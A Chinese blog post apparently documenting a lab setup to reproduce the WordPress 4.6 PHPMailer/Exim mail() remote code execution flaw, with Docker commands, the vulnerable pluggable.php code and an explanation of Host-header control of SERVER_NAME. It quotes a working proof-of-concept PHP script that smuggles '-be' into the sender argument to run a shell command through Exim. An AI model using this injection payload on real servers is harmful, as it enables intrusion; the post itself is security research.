这篇文章主要是记录下搭建漏洞测试环境的过程,然而从中午开始,断断续续的一直折腾到凌晨,只是搭建了成功了本地能复现的环境,并没有实现远程复现。
究其原因,主要是固执到一直想用daocloud来搭建测试环境,坑好多,花了太多时间来填坑了,记录下过程。
docker pull wordpress:4.6-php5.6-apache docker pull daocloud.io/library/mysql:5.7 docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=xxxx -e MYSQL_DATABASE=wdpress -d daocloud.io/library/mysql:5.7 #启动1个名称为wordpress的容器,链接了some-mysql容器用来存储数据,并指定了some-mysql容器中有关数据库的一些配置 docker run --name wordpress --link some-mysql:mysql -p 80:80 -e WORDPRESS_DB_NAME=wdpress -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=xxxx -d wordpress:4.6-php5.6-apache
以上环境可以安装成功wordpress,蛋疼的是使用密码重置功能,一直提示mail()函数可能被禁用。主要问题是没有配置sendmail_path的地方.
apt-get install exim4
安装exim4之后,还是find不到sendmail,折腾很久之后果断放弃了用daocloud。接着使用了网易蜂巢,直接pull了官方推荐的lamp镜像,运行容器之后,接着安装了exim4,然后发现了如图所示:
不需要做其它的配置,就可以成功使用wordpress的密码重置功能,接着用php mail()远程代码执行漏洞paper中给出的本地测试脚本,可以成功复现:
<?php // RCE via mail() vector on Exim4 MTA // Attacker's cmd is passed on STDIN by mail() within $body // Discovered by: // Dawid Golunski - @dawid_golunski - https://legalhackers.com $sender = "nxadmin@anyhost -be"; $body = 'Exec: ${run{/bin/bash -c "/usr/bin/id>/tmp/nxadmin"}{yes}{no}}'; // ^ unfiltered vars, coming from attacker via GET, POST etc. $to = "john@localhost"; $subject = "Exim RCE PoC"; $headers = "From: s1ma@localhost"; mail($to,$subject,$body,$headers, "-f $sender "); ?>
会创建/tmp/nxadmin文件,其中有/usr/bin/id命令的执行结果,如图:
本地测试成功了,远程复现的话可能还需要满足SERVER_NAME有关的条件,明天继续!
根据看老外写的文章,翻译理解了下漏洞的产生原因。Wordpress 4.6密码找回功能使用了phpmailer的setFrom()函数,这个东西近期爆出过漏洞,老外写的paper:
https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
wordpress 4.6受影响的文件wp-includes/pluggable.php代码片段如下:
if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); $phpmailer->setFrom( $from_email, $from_name );
上面代码中sitename是由 php预定义变量$_SERVER参数获取的,具体的SERVER_NAME是指当前运行脚本所在服务器的主机名称。发现其实SERVER_NAME是攻击者可以控制的,以下面的代码为例:
<?php $sitename = strtolower( $_SERVER['SERVER_NAME'] ); echo $sitename ?>
上面代码是获取SERVER_NAME,保存成php,用curl访问,如图所示:
发现可以通过http头部的HOST来控制$sitename参数的值,从而最终将恶意代码传递给wordpress 的setFrom()函数,最终导致漏洞的产生。
————————–5月5号更新————————————–
P牛已经做出了测试环境用的docker,并且写好了利用的exp,用我搭建的环境亲测可以成功,如图:
p牛写的利用脚本经过了实践的检验,6666,膜拜p牛!附上p牛制作的docker漏洞环境url:
https://github.com/phith0n/vulhub/tree/master/wordpress/phpmailer-rce
- 本文固定链接: http://www.nxadmin.com/penetration/1595.html
- 转载请注明: admin 于 阿德马Web安全 发表